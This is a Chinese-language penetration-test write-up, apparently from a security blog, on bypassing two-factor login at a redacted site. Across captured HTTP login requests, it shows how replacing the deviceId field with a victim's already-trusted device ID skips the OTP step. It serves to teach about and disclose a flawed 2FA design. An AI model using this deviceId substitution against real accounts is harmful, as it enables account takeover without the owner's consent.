通过使用受害者的设备ID绕过双因素身份验证

绕过双因素身份验证

一个网站的 URL，如下所示：https://redacted.com/login其界面如下：

现在，由于它是一个灰盒渗透测试，我获得了该网站的凭证。在这里，输入凭证后，我拦截了请求，它看起来如下所示：

POST /api/authentication/login-2fa HTTP/1.1
Host: redacted.com
Content-Length: 100
Sec-Ch-Ua: "Not)A;Brand";v="99", "Brave";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Authorization:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
Utcoffset: -420
Sec-Ch-Ua-Platform: "Windows"
Sec-Gpc: 1
Origin: https://redacted.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://redacted.com/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{
"email":"admin@redacted.com",
"password":"PASSWORD",
"loginFrom":"ADMIN",
"deviceId":"8709184523"
}

现在转发此请求后，我被重定向到如下页面：

现在我只需输入 OTP 并登录网站，但这个双重身份验证的实现引起了我的注意，所以我尝试测试此功能。为此，我退出了我的帐户，然后再次访问了https://redacted.com/login

登录页面再次出现，我输入了我的凭据并拦截了相同的登录请求，如下所示

POST /api/authentication/login-2fa HTTP/1.1
Host: redacted.com
Content-Length: 100
Sec-Ch-Ua: "Not)A;Brand";v="99", "Brave";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Authorization:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
Utcoffset: -420
Sec-Ch-Ua-Platform: "Windows"
Sec-Gpc: 1
Origin: https://redacted.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://redacted.com/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{
"email":"admin@redacted.com",
"password":"PASSWORD",
"loginFrom":"ADMIN",
"deviceId":"8709184523"
}

这次当我转发请求时，我直接登录了网站，而不是进入必须输入 OTP 的页面。嗯！似乎很奇怪。

让我们分析一下这里发生的事情。

最初看到这种情况后，我想到的是，当我们第一次在浏览器中登录网站时，它使用 deviceId 来跟踪用户。假设登录后，如果用户在第一次登录时输入了正确的 OTP，则应用程序假定此 deviceId 属于合法用户，因此当用户第二次通过同一浏览器登录时，浏览器会确认 deviceId 属于合法用户，而不是提示用户进入需要输入 OTP 的页面，而是直接让用户登录帐户。

我打开了第二个浏览器并再次访问了https://redacted.com/login的登录页面 现在输入凭证后，请求看起来如下所示：

POST /api/authentication/login-2fa HTTP/1.1
Host: redacted.com
Content-Length: 100
Sec-Ch-Ua: "Not)A;Brand";v="99", "Brave";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Authorization:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/plain, */*
Utcoffset: -420
Sec-Ch-Ua-Platform: "Windows"
Sec-Gpc: 1
Origin: https://redacted.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://redacted.com/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{
"email":"admin@redacted.com",
"password":"PASSWORD",
"loginFrom":"ADMIN",
"deviceId":"3502118317"
}

在这里，当我转发请求时，系统提示我输入 OTP 的页面。这是因为第二个浏览器中的 deviceId 与第一个浏览器中的 deviceId 不同。

我再次访问了https://redacted.com/login，输入了我的凭证，使用 BurpSuite 捕获了请求，在这个请求中，我用受害者的 deviceId 参数替换了 deviceId 参数的值，该参数已经被验证为合法用户，然后就成功了！我登录后确认我的假设是正确的。

那么攻击场景是什么样的呢？为了绕过双重身份验证，攻击者只需要知道受害者的设备 ID，而不是在登录后显示需要输入 OTP 的页面，用户将自动登录而无需输入 OTP。

无偿获取网络安全优质学习资料与干货教程

申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。